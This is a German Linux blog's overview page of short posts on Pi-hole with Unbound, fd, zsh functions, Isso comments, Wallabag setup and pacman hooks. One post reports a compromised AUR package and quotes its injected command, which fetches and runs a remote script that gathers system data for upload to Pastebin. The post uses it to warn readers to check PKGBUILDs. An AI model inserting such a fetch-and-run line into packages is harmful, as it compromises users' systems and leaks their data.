Fryboyter

Übersicht für OSBN

Die Entwicklung von Classic Shell geht unter neuem Namen weiter

Vor ein paar Monaten hatte ich einen Artikel veröffentlicht in dem es darum geht, dass die Entwicklung der Classic Shell eingestellt wird und dass der Sourcecode veröffentlicht wird. Nun hat sich jemand aufgerafft und will das Projekt fortführen. Daher wurde das Projekt nun geforkt und wird unter dem Namen Classic Start entwickelt. Es wäre wünschenswert, wenn das neue Projekt Erfolg haben würde. Denn die Alternativen sind irgendwie alle nicht so das Gelbe vom Ei. 


Darum sollte man PKGBUILD-Dateien im AUR immer prüfen

Als Nutzer von Arch und insbesondere von AUR bekommt es öfters zu hören, dass man die PKGBUILD-Dateien vor dem Installieren prüfen soll. Gestern Abend hat sich gezeigt wie wichtig dies ist.

So ist im AUR beispielsweise acroread vorhanden. Das Paket war verwaist und wurde gestern von einem Nutzer Namens xeactor übernommen. Soweit kein Problem. Allerdings hat er in die PKGBUILD-Datei curl -s https://ptpb.pw/~x|bash -& eingetragen. Mit den Script wird ein systemd-Dienst angelegt über den Daten des kompromittierten Systems gesammelt und und Pastebin gesendet werden. Der Nutzer hat aber glücklicherweise Fehler beim erstellen des Scripts gemacht. So ist $uploader nicht vorhanden, so dass das Hochladen fehlschlägt. Zudem hat xeactor seinen Pastebin-API-Key im Klartext eingetragen.

Da die gesammelten Daten alle relativ unkritisch sind ist es allerdings fraglich was xeactor hiermit erreichen wollte. Eventuell wollte er "nur" demonstrieren wie wichtig es ist, PKBUILD-Dateien im AUR immer zu prüfen. Denn prinzipiell hätte er deutlich mehr Schaden anrichten können.

Neben acroread waren auch noch ein paar andere verwaiste Pakete betroffen. Die Änderungen wurden inzwischen wieder rückgängig gemacht und der Nutzer gesperrt. Aufgrund solcher Vorkommnisse sollte man die Mailing-List aur-general abonieren.


Wenn Windows 10 verhindert, dass man NTFS-Partitionen unter Linux mit Schreibrechten mountet

Auf einenm Rechner ist sowohl Windows als auch Linux installiert. Der Datenaustausch erfolgt über eine NTFS-Partition, die unter Linux mit ntfs-3g eingebunden wird. Seit einiger Zeit wird die Partition aber plötzlich nur noch mit Leserechten gemountet.

Nach einigem hin und her (ftab geprüft, nachgeschaut ob ntfs-3g noch installiert ist usw.) habe ich festgestellt, das Windows die Ursache ist. Bis vor kurzem lief auf dem Rechner noch Windows 7 und wurde nun über das kostenlose Upgrade auf Windows 10 aktualisiert (ja das funktioniert immer noch). Unter Windows 10 gibt es so eine nette Funktion namens Schnellstart. Und genau diese Funktion bewirkt, dass ntfs-3g die Partitionen nur mit Leserechten mountet um Probleme zu vermeiden.

Da es bei dem betreffenden Rechner egal ist, ob der Rechner nun in 15 oder 20 Sekunden startet, ist die Lösung recht einfach. Man deaktiviert den Schnellstart. Hierfür öffnet man die Systemsteuerung und wählt unter Hardware und Sound die Energieoptionen aus. Dort gibt es den Punkt "Auswählen, was beim Drücken von Netzschaltern passieren soll". Hier findet man dann unter "Einstellungen für das Herunterfahren" die Option "Schnellstart aktivieren (empfohlen)". Leider ist dieser normalerweise ausgegraut, so dass man hier den Haken nicht entfernen kann. Von daher muss man erst noch auf den Link "Einige Einstellungen sind momentan nicht verfügbar" klicken. Danach kann man den Haken bei "Schnellstart aktivieren (empfohlen)" entfernen und die Einstellungen speichern. Nach einem Neustart von Linux sollte nun die NTFS-Partition wie gewohnt mit Schreibrechten gemountet werden.


Pi-Hole mit Unbound verheiraten

Pi-Hole ist ein sogenanntes "DNS-Sinkhole"  für das eigene Netzwerk mit dem man unerwünschte Werbung von Webseiten herausfiltern kann. Gestern habe ich mir das ganze auf einem freigewordenen Raspberry Pi installiert.

Da Pi-Hole Arch Linux offiziell nicht unterstützt und es wohl ab und zu zu Problemen kommt, habe ich mir kurzerhand Raspbian installiert. Lustigerweise gibt es für Arch im AUR ein Paket für Pi-Hole während man hingegen bei Rasppian das ganze über "curl -sSL https://install.pi-hole.net | bash" installieren muss. Das ist übrigens der offizielle Weg, auch wenn normalerweise vor solchen Anleitungen gewarnt wird. Der ganze Vorgang ist unterm Strich recht unspektakulär und funktioniert unterm Strich einfach.

Während der Installation ist mir die Idee gekommen, ob man nicht Pi-Hole mit Unbound kombinieren kann. Unbound lief bei mir bisher als caching DNS Resolver, so dass ich nicht auf DNS wie 8.8.8.8 (Google) angewiesen bin.

Also erst einmal Unbound mittels "sudo apt install unbound" installieren.

Mit dem Befehl "sudo wget -O /var/lib/unbound/root.hints https://www.internic.net/domain/named.root" laden wir uns nun die Liste der DNS-Root-Server herunter.

Jetzt geht es an das Konfigurieren von Unbound. Hierfür legen wir die Datei /etc/unbound/unbound.conf.d/pi-hole.conf an und füllen sie folgendem Inhalt.

server:
    verbosity: 1
    port: 12345
    do-ip4: yes
    do-udp: yes
    do-tcp: yes

    # Wenn IPv6 genutzt wird auf yes ändern
    do-ip6: no

    # Liste der Root-Server
    root-hints: "/var/lib/unbound/root.hints"

    # Vertraut glue nur wenn innerhalb von servers authority
    harden-glue: yes

    # Um DNSSEC zu deaktivieren auf no setzen
    harden-dnssec-stripped: yes

    # Großbuchstaben um Spoof zu erschweren
    use-caps-for-id: yes
    
    # EDNS Buffergroeße
    edns-buffer-size: 1472

    # TTL für Cache
    cache-min-ttl: 3600
    cache-max-ttl: 86400

    # Oft genutzte Einträge bleiben im Cache
    prefetch: yes

    # Anzahl der Threads (1 reicht fuer kleines LAN)
    num-threads: 1
    
    # Cache-Speicher. rrset sollte doppelt so groß wie msg sein
    msg-cache-size: 50m
    rrset-cache-size: 100m
    
    # UDP schneller mit Multithreading (Tux only).
    so-reuseport: yes
    
    # Stellt sicher, dass Kernel-Buffer groß genug ist wenn Traffic stark ansteigt 
    so-rcvbuf: 1m

    # IP werden nicht aufgelöst
    private-address: 192.168.1.1/16
    

Wer mit meinen Kommentaren nichts anfangen kann, kann unter https://www.unbound.net/documentation/unbound.conf.html eine genauere Beschreibung nachlesen. Im Moment ist nur die dritte und die letzte Zeile wichtig. In der dritten wird der Port angegeben auf den Unbound lauschen soll. Und in der letzten trägt man seinen Adressbereich für das eigene LAN ein. 

Mittels "systemctl start unbound.service" testet man nun, ob Unbound ohne Probleme startet. Mit "systemctl enable unbound.service" wird Unbound automatisch gestartet

Jetzt noch Unbound bei Pi-Hole als DNS eintragen. Hierfür einfach $PI-IP/admin im Browser eingeben (anstelle von $IP-IP nimmt man die IP unter der der Raspberry im LAN erreichbar ist). Nun sollte das Dashboard von Pi-Hole angezeigt werden. Dort klicken wir dann links auf Login und melden uns an. Nun wählen wir links Settings -> DNS aus. Hier habe ich festgestellt, dass man in der stabilen Version von Pi-Hole zwar die IP eines eigenen DNS eintragen kann, aber keinen Port. Nach etwas Google-Fu habe ich herausgefunden, dass die erst mit der aktuellen Beta-Version funktioniert. Da ich nichts zu verlieren habe, bin ich mit folgenden Befehlen auf die aktuelle Beta-Version gewechselt.

echo "FTLDNS" | sudo tee /etc/pihole/ftlbranch
pihole checkout core FTLDNS 
pihole checkout web FTLDNS

Nun lässt sich unter Settings -> DNS 127.0.0.1#12345 eintragen (anstelle von 12345 nimmt man den in der Konfigurationsdatei angegebenen Port (# ist hier Absicht und muss angegeben werden).

Nun müssen wir nun noch den Geräten im Netzwerk beibringen, das Pi-Hole als DNS zu nutzen. Hierzu hinterlegen wir die IP des Raspberry Pi entweder im Router oder passen die DNS-Einstellungen auf den jeweiligen Geräten an (/etc/resolv.conf, netctl Profile usw.).

Als Fazit nach ca. 24 Stunden mit der Kombination aus Pi-Hole und Unbound kann ich bisher folgende Aussagen treffen:

- Apt ist verglichen mit pacman verflucht langsam
- Ich werde mich nie mit einer Distribution anfreunden die für jeden Mist sudo nutzt, so dass ich vermutlich das Root-Konto aktivieren oder doch wieder Arch installieren werde.
- Wenn Unbound die IP einer Internetseite noch nicht kennt, gibt es eine knappe Gedenksekunde bis die Seite angezeigt wird. Danach geht alles sehr schnell.
- Wenn man sich die Statistik von Pi-Hole so ansieht, merkt man erst wie viel Mist gefiltert wird. Bei mir sind es aktuell 30,4 Prozent aller Anfragen die im Loch verschwinden.

Was die Statistik betrifft, habe ich gemerkt, dass diese jede Minute aktualisiert wird. Da ich keine aktuellen Statistiken benötige und um daher unnötige Schreibvorgänge auf der Speicherkarte zu vermeiden habe ich die Datei /etc/pihole/pihole-FTL.conf angelegt und dort DBINTERVAL=60.0 eingetragen. Somit erfolgt der Schreibvorgang nun noch alle 60 Minuten. Für mich absolut ausreichend, da zwischenzeitlich der Filtervorgang ganz normal weiterläuft.

Einen Nachteil hat diese Lösung für mich aber. Für diverse Sachen wie Geo-Blocking nutze ich einen VPN-Anbieter. Beim derzeitigen Anbieter (was vermutlich auch auf die meisten anderen Anbieter zutreffen wird) lässt sich leider kein eigener DNS eintragen um sogenannte DNS Leaks zu verhindern. Somit werde ich auch weiterhin im Browser zusätzlich uBlock Origin nutzen. Zumal Pi-Hole manche Sachen wie diese nervigen Cookie-Hinweise nicht filtern kann. 


Python-Kurs ab dem 27.06.18 im Arch Classroom

Morgen findet im Arch Classroom um 7 UTC (in Deutschland dürfte das 9 Uhr sein) ein Python-Kurs für Anfänger statt. Unter https://github.com/archclassroom/python-beginners findet man die nötigen Unterlagen, sowie weitere Informationen und Links. "Dozent" ist Pulecz (Tomáš Mikulec). Der erste Teil dürfte ca. 2 Stunden dauern. 


Fd - Finden einmal anders

Wer Linux nutzt wird früher oder später auf den Befehl find stoßen. Mit diesem lassen sich, wie der Name schon vermuten lässt, Sachen wie Dateien finden. Vor ein paar Wochen bin ich nun auf die Alternative fd gestoßen, welche gar nicht mal so schlecht ist.

Nehmen wir mal an, wir haben den Ordner "Projekt" auf der Festplatte. In diesem befindet sich eine Datei die wir dringend brauchen und  von der wir nur wissen, dass sie den Namen README hat. Aber nicht ob .md, .doc. oder .txt. Mit find würde man wohl in das Projekt-Verzeichnis wechseln und dort find . -iname 'README*' ausführen. Bei fd reicht schon in das Verzeichnis zu wechseln und fd README auszuführen (wer will kann natürlich auch das Verzeichnis angeben. Zum Beispiel find README /home/nutzer/Projekt). Fd sucht hier automatisch rekursiv alles in dem irgenwie README vorkommt. Somit wird zum Beispiel README.md oder README.gz gefunden. Aber auch Verzeichnisse wie ./README/Anleitung.doc. Wer nur nach Dateien suchen will, kann den Parameter -tf verwenden. Wenn nur Verzeichnisse gesucht werden sollen -td.

Nehmen wir als nächstes Beispiel einmal an, wir suchen nach einer Datei von der wir nur wissen, dass Sie die Endung .md hat. Mit find würde mal wohl find . -type f -name '*.md' nutzen. Mit fd reicht fd *.md.

Das sind jetzt nur einmal zwei Beispiele in denen ich fd find vorziehen würde. Ist fd nun ein vollwertiger Ersatz für find? Definitiv nicht. Denn Sachen wie find -inum 123456789 sind unter fd nicht möglich. Aber für das allgemeine Suchen von Dateien reicht fd locker aus. Zudem ist fd auch deutlich schneller beim Liefern der Suchergebnisse als find. Hat fd auch Nachteile? Kommt wohl auf die eigene Sichtweise an. Fd sollte zum einen in keiner Standardinstallation zu finden sein. Zum anderen wird als Abhängigkeit zum Erstellen von fd Rust benötigt. Die schlägt, zumindest unter Arch, mit etwa mehr als 240 MB zu buche. Rust kann man allerdings hinterher gefahrlos wieder entfernen.


Vorschau auf den neuen Matrix-Client Riot

Der eine oder andere wird es schon mitbekommen haben, dass ich in Punkto Messenger große Hoffungen in der Protokoll Matrix lege. Der offizielle Client Riot war bisher aber immer ein großer Kritikpunkt bei vielen Nutzern.

Anfang 2018 haben die Entwickler von Matrix / Riot 5 Millionen von Status erhalten. Diese Summe sollte unter anderem in die Verbesserung des Referenz-Client Riot investiert werden. Heute wurden nun die ersten Screenshots des neuen Clients veröffentlicht.

Wer nichts mit dem offiziellen Client anfangen kann, kann ich zum Beispiel die alternativen Clients Quaternionnheko oder fractal ansehen. Diese sind vom Funktionsumfang her aber meist noch eingeschränkt, so dass bei nheko beispielsweise die Verschlüsselung noch nicht implementiert ist.


ZSH-Alias mit Platzhalter

Derzeit teste ich mal wieder AUR-Helper. Da ich mir die Paramenter usw. nicht merken will, lege ich ich normalerweise Aliase an. Für das Suchen im AUR wäre ein möglicher Alias zum Beispiel alias aurs='trizen -Ssa'. Derzeit teste ich den AUR-Helper aurman.

Hier wäre der Befehl nur im AUR nach Paketen zu suchen aurman -Ss Suchbegriff --aur. Da in diesem Fall der Suchbegriff mitten im Befehl steht klappt ein Alias wie aurs='aurman -Ss --aur' nicht wirklich. In den Alias einen Platzhalter zu packen (aurs='aurman -Ss $1 --aur') funktioniert ebenfalls nicht. Die Lösung hierfür ist kein Alias sondern eine Funktion.

Hierfür legen wir uns am besten ein extra Verzeichnis im Home-Verzeichnis an. Beispielswese .zfunc. In diesem erstellen wir nun die Datei aursearch und füllen diese mit folgendem Inhalt und speichern diese anschließend.

function aurs() {
aurman -Ss $1 --aur
}

Anstelle von aurs geben wir den Namen ein über den wir die Funktion aufrufen wollen. Da bei mir die Aliase für den AUR-Helper normalerweise aurs (suchen), auri (installiere) und auru (aktualisieren) lauten habe ich mich hier für aurs entschieden.

Damit die Funktion automatisch zur Verfügung steht öffnen wir nun noch die Konfigurationsdatei von zsh (normalerweise .zshrc) und fügen dort folgende Zeile ein.

source ~/.zfunc/aursearch

Hierbei ist zu beachten dass man den Namen der Datei angibt und nicht den Befehl mit dem man die Funktion ausführt.

Von nun an kann man nun mittels aurs Suchbegriff im AUR nach Paketen suchen. Eventuell vorhanden Aliase mit dem gleichen Namen sollte man aber vorher löschen bzw. auskommentieren.,


Man kann mir nun verschlüsselte E-Mails senden

Ich wurde heute nach meinem öffentlichen PGP-Schüssel gefragt mit dem man mir verschlüsselte E-Mails zukommen lassen kann. Da das die erste Anfrage seit Jahren war, musste ich erst einmal passen, da es die Adresse für die ich damals einen Schlüssel erstellt habe, nicht mehr existiert.

Auch wenn ich in der Praxis vermutlich wenig bis gar keine verschlüsselten E-Mails erhalten werde, habe ich für die im Impressum genannte E-Mail-Adresse ein PGP-Schlüsselpaar erstellt. Den öffentlichen Schlüssel kann man hier herunterladen. Auf einen Keyserver werde ich nichts hochladen, da ich beim letzten mal schneller Spam erhalten habe als ich die Adresse samt öffentlichen Schlüssel veröffentlicht habe. Der Fingerprint des Schlüssels lautet 288B 8E32 5378 AC5B A3D0  C76F E235 C466 7179 7AE4.


Ich bin kein Ideologie-Depp

Gestern hatte ich über IRC mal wieder eine Diskussion geführt, warum man Linux bzw. OSS im Allgemeinen nutzt bzw. nutzen soll. Im Laufe der Diskussion hat sich erneut herauskristallisiert, dass ich zwar Respekt vor Stallman habe aber mir seine Ansichten trotzdem größtenteils am Arsch vorbeigehen. Bin ich nun ein schlechter Mensch?

Gefühlt gehöre ich irgendwie zur Minderheit der Nutzer von Linux bzw. OSS die dies einfach aus rein technischen Gründen tun. Zum Beispiel weil eben nach dem Bekanntwerden von Sicherheitslücken sehr schnell Updates angeboten werden. Oft schneller als die Medien reagieren können. Und man diese notfalls auch abseits der Paketverwaltung einspielen kann. Trotzdem setzte ich in bestimmten Fällen auch einfach auf proprietäre Lösungen. Anstelle der quelloffenen Nouveau-Treiber nutze ich die proprietären Treiber von Nvidia. Wieso? Weil ich auch unter Linux zocke. Zum Beispiel CS:GO. Und da sind die Treiber von Nvidia einfach derzeit besser. Punkt. Ein weiteres Beispiel wäre der Editor. Ja es gibt eine Arsch voll quelloffener Editoren unter Linux. Aber egal welchen ich teste, ich lande trotzdem immer wieder bei Sublime Text. Das hat in dem Fall nicht einmal unbedingt etwas mit dem Funktionsumfang zu tun sondern einfach etwas mit dem "Look & Feel". Genauso wie ich eben Vivaldi anstelle von Firefox bevorzuge. Bei Vivaldi muss ich mir nicht x Erweiterungen installieren. Er funktioniert größtenteils einfach "out of the box" wie ich es will.

Sehr oft wird als Argument für Linux bzw. OSS die Freiheit angegeben. Aber spätestens wenn es um die Lizenz diverser Programme geht, hört diese Freiheit scheinbar bei vielen auf. Meiner Meinung nach sollte man auch als Nutzer von OSS oder Linux die Freiheit haben auch nicht quelloffene Software zu nutzen. Ich finde, dass eine Nutzung von 80 Prozent OSS und 20 Prozent CSS immer noch besser ist als 100 Prozent CSS. Wobei auch einen Nutzung von 100 Prozent CSS nicht zwangsläufig "böse" ist.

Und quelloffene Software kann sicherer sein als nicht quelloffene  Software. Aber die letzen Jahre haben gezeigt, dass auch in quelloffener Software Sicherheitslücken über Jahre unentdeckt bleiben. Nur weil man theoretisch die Möglichkeit hat den Quellcode zu prüfen bedeutet es ja noch lange nicht, dass es auch jemand macht. Bzw. dass dieser auch alle Probleme entdeckt. Genauso wie eben nicht jeder Entwickler von nicht quelloffener Software automatisch ein Backdoor oder eine Spionagefunktion einbaut. Unterm Strich ist es also für den durchschnittlichen Nutzer eine Sache des Vertrauens. Vertraue ich nun quelloffenen Code den ich selbst nicht beurteilen kann und der vielleicht auch nicht von anderen mit mehr Ahnung geprüft wird? Oder vertraue ich Leuten wie Tetzchner (Chef von Vivaldi) die mir bisher keinen Anlass gegeben haben ihnen zu misstrauen?

Gerade in der heutigen Zeit sollte man natürlich immer misstrauisch sein (z. B. https://github.com/canonical-websites/snapcraft.io/issues/651). Aber man sollte vielleicht auch öfters einfach mal etwas tolleranter gegenüber anderen Nutzern sein. Es wäre schön, wenn es mal eine Zeit geben würde, in der ich mich nicht verdeitigen müsste, wieso ich Sublime Text anstelle eines anderen quelloffenen Editors nutze. Oder wenn ich mir mal keine dummen Sprüche anhören muss nur weil ich Distribution X nutze. Unterm Strich sollten wir Nutzer von Linux / OSS doch eigentlich alle an einem Strang ziehen. Statt dessen führen viele einfach nur einen lächerlichen Kleinkrieg. Distribution gegen Distribution. Editor gegen Editor. DE gegen DE. Warum versuchen wir nich einfach gemeinsam etwas zu verbessern? Warum müssen wir wegen jedem Scheiß einen Fork erstellen anstelle sich auf einen Mittelweg zu einigen? Und warum können wir nicht einfach akzeptieren, dass es auch Nutzer gibt die Linux / OSS nicht nutzen können oder einfach nicht nutzen wollen? Oder das man eben anstelle von Plasma Gnome nutzt? Auch das ist ein Teil von Freiheit. Und gerade das ist doch eigentlich wichtig.

In diesem Sinne. Be nice or go away.


Fucking systemd

Fucking systemd


Benachrichtigungen von Isso ohne Betreff

Da sich auf fryboyter.de einige menschliche Spambots herumtreiben ist Isso bei mir so eingestellt, dass ich für jeden neuen Kommentar eine E-Mail erhalte in dem dann ein Link zum Freischalten bzw. Löschen des Kommentars enthalten ist. Der Betreff dieser E-Mails war bei mir immer leer. Da ich die Kommentare aber problemlos moderieren konnte war mir das bisher egal. Naja eigentlich ist es mir immer noch egal.

Aufgrund des Commento-Artikels und des Kommentars von mdosch wegen der Datenübernahme von Isso habe ich mir eben einmal die Datenbankstruktur von Isso angesehen, weil ich morgen mal versuchen will ob ich es gebacken bekomme die Daten von Isso zu Commento zu portieren. In der Isso-Datenbank gibt es die Tabelle threads. In dieser ist die Spalte title vorhanden. Bei jedem Artikel den ich unter Bolt CMS erstellt habe und bei dem es Kommentare gibt ist hier die Spalte leer. Keine Ahnung wie Isso hier versucht den Titel des Artikels herauszufinden aber scheinbar klappt das bei mir nicht. Eventuell weil ich für die Titel den HTML-Tag H2 und nicht H1 nutze.

Auch wenn ich durch den fehlenden Betreff keine Nachteile habe, habe ich mich daran festgebissen. Die Lösung ist im Grunde aber in meinem Fall ganz einfach. Bisher wurde Isso wie folgt eingebunden:

<section>
    <h3>Kommentare</h3>
    <section id="isso-thread"</section>
</section>

In der Dokumentation von Isso findet man hier die Möglichkeit mit data-title="" einen Titel vorzugeben. Das jedes mal manuell zu machen ist mir dann doch zu blöd. Twig sei Dank  ist die Lösung aber trivial. Anstelle des Titels habe ich einfach {{ record.title }} eingetragen, so dass das ganze nun wie folgt aussieht.

<section>
   <h3>Kommentare</h3>
   <section id="isso-thread" data-title="{{ record.title }}"></section>
</section>

Damit wir nun die Spalte title befüllt und die E-Mails haben auch einen Betreff. Wenn nur alle Problem so leicht zu lösen wären. Vielleicht klappt der Import der Isso-Kommentare in Commento ja auch so einfach. Man darf ja noch träumen, oder?


Humble Software Bundle: Python Dev Kit

Humble Bundle bietet man aktuell einige Sachen zum Thema Python an. Da Python unter Linux ja dann doch ab und zu zum Einsatz kommt, habe ich gedacht ich weise einfach mal kurz darauf hin. Interessant ist hier für den einen oder anderen vielleicht auch der Gutschein über 50 US-Dollar bei DigitalOcean oder die Jahreslizenz von Gitkraken Pro.

Das ganze läuft noch 13 Tage und ein paar Stunden und ist unter https://www.humblebundle.com/software/python-dev-kit-bundle zu finden.


Alternative zu Isso

Als ich von Wordpress auf Bolt CMS umgestiegen bin, hatte ich mich für das Kommentarsystem Isso entschieden, da Bolt CMS solch eine Funktion nicht bietet. Gerade überlege ich mir aber, ob ich bei Isso bleibe.

Der Grund hierfür ist nicht, dass Isso Probleme im laufenden Betrieb macht. Der Grund ist auch nicht, dass Isso mit Python realisiert wird. Der Grund ist der, dass einfach keine neue offizielle Version veröffentlicht wird obwohl sich zwischenzeitlich einiges bei Isso getan hat. Wie zum Beispiel die RSS-Funktion die ich für verdammt nützlich ansehe, da man bei neuen Kommentaren ja nicht per E-Mail benachrichtigt wird. Somit nutze ich derzeit die letzte offizielle Version vom September 2016. 

Aber welche Alternative kommt in Frage? Da ich die Kommentare nicht in die Hände Dritter geben will, kommen Lösungen wie Disqus definitiv nicht in Frage. Viele Alternativen zum selber hosten wie Hashover kommen ebenfalls nicht in Frage, da die Entwicklung entweder eingestellt wurde bzw. sehr langsam voranschreitet.

Am vielversprechensten finde ich derzeit Commento. Das Projekt ist zwar noch ziemlich am Anfang, wird aber bereits von von Mozilla und DigitalOcean gesponsort und die letzte offizielle Version (0.3.1) ist erst knapp einen Monat alt. Allerdings fehlt derzeit noch die Möglichkeit die Kommentare zu moderieren. Daher bin ich aktuell noch etwas unsicher ob ich derzeit wechseln soll oder nicht. Zumal sich auf fryboyter.de auch der eine oder andere menschliche Spambot herumtreibt. Da Isso, wie schon gesagt derzeit keine technischen Probleme bereitet, werde ich Commento einfach mal ein paar Wochen / Monate beobachten. Mal schauen wie sich das Projekt entwickelt.


Wallabag auf Uberspace 7 installieren

Bei Wallabag handelt es sich um eine Lösung zu selbst hosten mit der man interessante Internetseiten speichern kann um sie dann später zu lesen. Wallabag ist sozusagen eine Alternative zu Pocket das wohl die meisten Nutzer von Firefox kennen sollten.

Um Wallabag auf einen Uberspace 7 unter eine Subdomain zu installieren, kann man wie folgt vorgehen.

Als erstes erstellt man unter ~/html/ ein neues Verzeichnis (z. B. "walla") und welchseln in dieses. Nun führen wir folgenden Befehl aus um die nötigen Dateien für die Installation herunterzuladen.

git clone https://github.com/wallabag/wallabag.git .

Der Punkt am Ende des Befehls ist übrigens kein Fehler sondern sorgt dafür, dass die Dateien im aktuellen Verzeichnis abgespeichert werden.

Wenn alles heruntergeladen ist, installiert man Wallabag mittels "make install". Das dauert ein Stück. Am Ende des Vorgangs beginnt ein Frage- und Antwortspiel bei dem zum Beispiel diverse Sachen wie die Datenbankverbindung usw. abgefragt werden. Hierbei gehe ich an dieser Stelle nur auf zwei Sachen ein, da der Rest eigentlich selbsterklärend ist. Das wäre zum einen "mailer_host". Hier ist der Standard 127.0.0.1. Daraus machen wir 127.0.0.1:587, da SMTP bei Uberspace auf Port 587 läuft. Bei "secret" sollte man anstelle des vorgegebenen Geheimnisses lieber ein eigenes eintragen.

Wenn wir die ganzen Informationen eingetragen bzw. abgenickt haben, erstellen wir nun noch im anfangs angelegten Verzeichnis eine .htaccess Datei mit folgenden Inhalt.

RewriteEngine On
RewriteBase /
RewriteCond %{REQUEST_FILENAME} !-f
RewriteRule ^(.*)$ /web/$1 [QSA,L]

Somit wir automatisch bei einem Aufruf in den Unterordnet web weitergeleitet.

Da wir in diesem Beispiel Wallabag ja unter einer Subdomain erreichbar machen wollen, sind nun noch folgende beide Befehle nötig.

ln -s /var/www/virtual/$USER/html/walla /var/www/virtual/$USER/walla.domain.org
uberspace web domain add walla.domain.org

Mit dem ersten Befehl wird der Symlink erstellt und mit dem zweiten wird die Subdomain bei Uberspace aktiviert. Anstelle von domain.org sollte man die eigene Domain angeben.

Das war es im Grunde genommen. Von nun an kann man Wallabag mittels walla.domain.org aufrufen und dort diverse Seiten abspeichern. Um das ganze etwas bequemer zu gestalten kann man sich noch die Browser-Erweiterung Wallabagger installieren. Diese ist für Firefox, Opera und Chrome bzw. Browser die darauf basieren erhältlich. Eine Anleitung zur Konfiguration findet man unter https://wallabag.org/en/news/wallabagger-howto.


Matrix / Riot soll Whatsapp und Telegram bei der französischen Regierung ablösen

Matthew Hodgson vom Matrix-Projekt hat bekannt gegeben, dass die französische Regierung Whatsapp und Telegram abschaffen will und dafür auf das Matrix-Protokoll und Riot setzen will. Riot wird hierbei allerdings geforkt.

Nach drei Monaten Entwicklungszeit, die scheinbar überschaubare Kosten verursacht haben, gibt es bereits einen Testbetrieb. Für den Sommer ist eine Installation in der Verwaltung und im Kabinett geplant.


Cache von Pacman automatisch aufräumen

Der Paketmanager Pacman speichert die Pakete unter /var/cache/pacman/pkg. Um bei Problemen ein Downgrade machen zu können, werden dort automatisch keine Pakete entfernt.

Leert man das Verzeichnis nicht regelmäßig kann es sein, dass irgendwann die Festplatte voll ist und man sich wundert was nun schon wieder schief gegangen ist. Um dies zu vermeiden, kann man sich einen sogenannten Hook erstellen. Mit diesen lassen sich Aktionen bevor oder nachdem etwas mit Pacman gemacht wird ausführen.

Um bei dem Beispiel mit Cache zu bleiben, erstellen wir erst einmal das Verzeichnis /etc/pacman.d/hooks sofern es nicht schon vorhanden ist. In diesem erstellen wir dann eine Datei an deren Ende .hook stehen muss. Also beispielsweise pacman-cache-aufraeumen.hook. In diese kommt dann folgender Inhalt:

[Trigger]
Operation = Remove
Operation = Install
Operation = Upgrade
Type = Package
Target = *

[Action]
Description = Cache von Pacman aufräumen...
When = PostTransaction
Exec = /usr/bin/paccache -rqk2

Im Bereich Trigger wird definiert in welchem Fall das ganze ausgeführt werden soll und für was der Hook gültig ist. in diesem Fall wird also die Aktion beim Entfernen, Installieren und Aktualisieren aller Pakete ausgeführt.

Im Bereich Action wird angegeben, was ausgeführt wird und wann. In diesem Beispiel wird der Befehl /usr/bin/paccache -rqk2 nach dem Entfernen, Installieren oder Aktualisieren eines Pakets ausgeführt. Der Parameter -rqk2 bewirkt, dass alle Pakete im Cache bis auf die letzten zwei Versionen entfernt werden und dass dies ohne Rückmeldung geschieht.


Quelloffene unterbrechungsfreie Stromversorgung geplant

Der bekannte Entwickler Eric S. Raymond hat vor kurzem einen Artikel veröffentlicht in dem er beschreibt wie beschissen viele sogenannte USV (unterbrechungsfreie Stromversorgungen) sind. Die Reaktionen waren wohl so gut, dass er nun plant eine USV zu entwickeln die auf offene Hard- und Software setzt.

Hierzu sollen jetzt erst einmal die Anforderungen der Nutzer gesammelt werden und aufgrund dieser dann die Hardware zusammengestellt werden. Vorzugsweise aus leicht erhältlichen Teilen.Wenn alles klappt wie er es sich vorstellt, sollen am Ende Platinen, eine Liste mit den benötigten Teilen, eine Aufbauanleitung sowie ein Handbuch für die Hard- und Software zur Verfügung stehen.

Leute die sich für das Projekt intressieren und die beispielsweise etwas von Akkutechnologie verstehen dürfen sich laut Raymond gerne an seinem Projekt beteiligen. Aber auch die bekannten Unternehmen die USV herstellen sind herzlich eingeladen an dem Projekt mitzuwirken.


Fryboyter.de ohne Matomo

Ich habe mich eben entschlossen, den Code für Piwik / Matomo von Fryboyter.de zu entfernen. Somit werden aktuell nun keine Statistiken über die Besucher mehr erstellt. Dafür läd die Seite nun noch schneller. Die Gründe sind eigentlich relativ einfach.

Zum einen Funktioniert der iFrame für das die Opt-Out-Funktion auf einem Uberspace 7 nicht, da dort "Response Header" gesetzt werden, die man aktuell selbst nicht ändern kann. Zudem gibt es wohl auch aufgrund der DSGVO die eine oder andere Tretmine auf die auch Betreiber nichtkommerzieller Seiten treten können. Von den Geiern das Abmahnindustrie will ich gar nicht erst anfangen. Da für mich eigentlich nur interessant war, das ein x-belieber Nutzer Artikel X für einen Zeitraum von Y aufgerufen hat, hatte ich Piwik / Matomo auch nur sehr rudimentär genutzt. Aber selbst diese Informationen habe ich in den letzten Wochen und Monaten immer seltener abgerufen. Zudem kommt auch noch hinzu, dass in letzter Zeit immer weniger Nuter erfasst wurden, was vermutlich an der "Do-Not-Track-Funktion" der Browser sowie der Sperre durch die Ad-Blocker liegt. Kurz gesagt, Piwik / Matomo bringt mir immer weniger und sorgt mit etwas Pech auch noch für Probleme. Also weg damit. Zukünftig muss ich mich halt auf mein Bauchgefühl bzw. auf die abgegebenen Kommentare verlassen, welche Themen interessant sind und welche nicht. 

Sollte ich mich eines Tages wieder für Piwik / Matomo entscheiden, werde ich hier entsprechend darauf hinweisen. 


Git-Version für PGKBUILD herausfinden

Im Arch User Repository, kurz AUR, gibt es einige Paket mit dem Zusatz -git im Namen. Hiermit werden nicht die stabilen Versionen sondern Entwicklerversionen installiert.

Nehmen wir einmal die PKGBUILD-Datei von keepassxc-git als Beispiel. In dieser findet man die Zeile pkgver=2.2.4.r431.g46c58b32. Egal wie oft man nun KeepassXC über diese PKGBUILD-Datei installiert, landet man immer beim gleichen festgelegten Entwicklungsstand und nicht beim derzeit aktuellen. Was aber, wenn man sich genau diesen installieren will? Im Grunde genommen muss man die Zeile pkgver= einfach nur anpassen. Aber was muss man in solch einem Fall eintragen? Eine Lösung wäre folgendes Vorgehen:

- Mittels "git clone https://github.com/keepassxreboot/keepassxc.git" den Sourcecode auf den eigenen Rechner kopieren. Den betreffenden Link findet man in dem man auf der jeweiligen Github-Seite auf "Clone or download" klickt.

